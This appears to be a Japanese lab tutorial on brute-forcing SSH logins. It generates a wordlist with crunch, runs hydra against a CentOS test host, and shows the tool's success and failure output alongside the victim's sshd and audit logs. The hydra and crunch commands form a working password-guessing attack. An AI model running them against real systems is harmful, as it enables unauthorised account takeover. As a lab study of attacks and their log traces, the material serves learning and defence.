はじめに
今日は、ペネトレーションの勉強として総当たり攻撃について纏めてみました。
※これを自分の管理下にないネットワークやコンピュータに行った場合、
法的措置が取られる事もあるので絶対にやらないで下さい。
あくまでも、自己責任で行うようにしてください。
環境
以下の通り、攻撃役としてkali Linuxと被攻撃役としてCentosを用意しました。
役割 | OS | IP |
---|---|---|
攻撃役 | Kali linux | 192.168.0.106 |
被攻撃役 | Centos7.5 | 192.168.0.20 |
準備
総当たり攻撃をするあたりテキストファイルに文字列を用意する必要があります。kali linuxでは、crunchというコマンドが用意されており、このコマンドを使って文字列を予め用意します。
基本構文:
crunch <min-len> <max-len> [<charset string>] [options]
コマンド:
crunch 8 8 1234hgoe -o wordlist
上記のコマンドを実行するとwordlistファイルの中に<charset string>のパターンがファイルに格納されます。
総当たり攻撃
被攻撃役にあらかじめhogeという一般ユーザを作成しておきました。
※今回は、テストのために、wordlistにパスワードが格納されております。
総当たり攻撃に「hydra」を使って行います。
hydraというのは簡単に言うと、認証機構にブルーフォースアタックができるコマンドです。
このコマンドをkali linux上で以下のコマンドを実行します。
hydra -l hogehoge -P wordlist 192.168.0.20 ssh
成功時のログ
v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting at 2018-11-19 22:19:04 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 126 login tries (l:1/p:126), ~8 tries per task [DATA] attacking ssh://192.168.0.20:22/ [22][ssh] host: 192.168.0.20 login: hogehoge password: hogehoge 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 7 final worker threads did not complete until end. [ERROR] 7 targets did not resolve or could not be connected [ERROR] 16 targets did not complete Hydra (http://www.thc.org/thc-hydra) finished at 2018-11-19 22:19:11
成功時のログの中間くらいに以下のログが出力されております。
[22][ssh] host: 192.168.0.20 login: hogehoge password: hogehoge
失敗時のログ
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting at 2018-11-19 22:10:52 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 125 login tries (l:1/p:125), ~8 tries per task [DATA] attacking ssh://192.168.0.20:22/ 1 of 1 target completed, 0 valid passwords found [WARNING] Writing restore file because 6 final worker threads did not complete until end. [ERROR] 6 targets did not resolve or could not be connected [ERROR] 16 targets did not complete Hydra (http://www.thc.org/thc-hydra) finished at 2018-11-19 22:11:26
Centos側でログを確認してみた。
ssh接続で失敗した際に以下のパスにログが記録残ります。そこを確認すると。
# cat /var/log/audit/audit.log |tail -5
~ 省略 ~ type=CRYPTO_KEY_USER msg=audit(1542633882.377:7578): pid=3715 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=destroy kind=server fp=SHA256:48:85:82:38:b7:4c:5f:84:25:98:36:1f:ba:c3:28:d5:b2:d4:f3:a9:4a:3a:92:b0:ec:57:3d:0e:00:71:2f:a3 direction=? spid=3715 suid=0 exe="/usr/sbin/sshd" hostname=? addr=? terminal=? res=success' type=CRYPTO_KEY_USER msg=audit(1542633882.377:7579): pid=3715 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=destroy kind=server fp=SHA256:34:79:92:8e:54:38:d1:44:e3:55:28:38:f4:5c:7f:00:af:21:6c:28:52:c5:88:12:cb:34:74:5d:15:97:98:a5 direction=? spid=3715 suid=0 exe="/usr/sbin/sshd" hostname=? addr=? terminal=? res=success' type=CRYPTO_KEY_USER msg=audit(1542633882.377:7580): pid=3715 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=destroy kind=server fp=SHA256:ef:6c:01:23:aa:5f:49:18:2b:f7:93:f8:39:44:61:43:8a:1d:b8:4e:78:34:08:61:5a:be:2f:49:08:ad:ae:f9 direction=? spid=3715 suid=0 exe="/usr/sbin/sshd" hostname=? addr=? terminal=? res=success' type=USER_LOGIN msg=audit(1542633882.378:7581): pid=3715 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="hogehoge" exe="/usr/sbin/sshd" hostname=? addr=192.168.0.106 terminal=ssh res=failed' type=ANOM_PROMISCUOUS msg=audit(1542635102.676:7582): dev=eth0 prom=0 old_prom=256 auid=0 uid=72 gid=72 ses=8
# journalctl _SYSTEMD_UNIT=sshd.service | egrep "Failed|Failure" | head -5
11月 19 22:04:08 hogehoge2.local sshd[1344]: Failed password for root from 192.168.0.106 port 42392 ssh2 11月 19 22:04:08 hogehoge2.local sshd[1339]: Failed password for root from 192.168.0.106 port 42384 ssh2 11月 19 22:04:08 hogehoge2.local sshd[1328]: Failed password for root from 192.168.0.106 port 42358 ssh2 11月 19 22:04:08 hogehoge2.local sshd[1345]: Failed password for root from 192.168.0.106 port 42394 ssh2 11月 19 22:04:46 hogehoge2.local sshd[1385]: Failed password for root from 192.168.0.106 port 42422 ssh2 ~以下省略~
TOPコマンドはsshのプロセスが大量に起動しておりました。
今日は、この辺りにしたいと思います。
ここまで読んで頂き有難う御座います。
お疲れさまでした。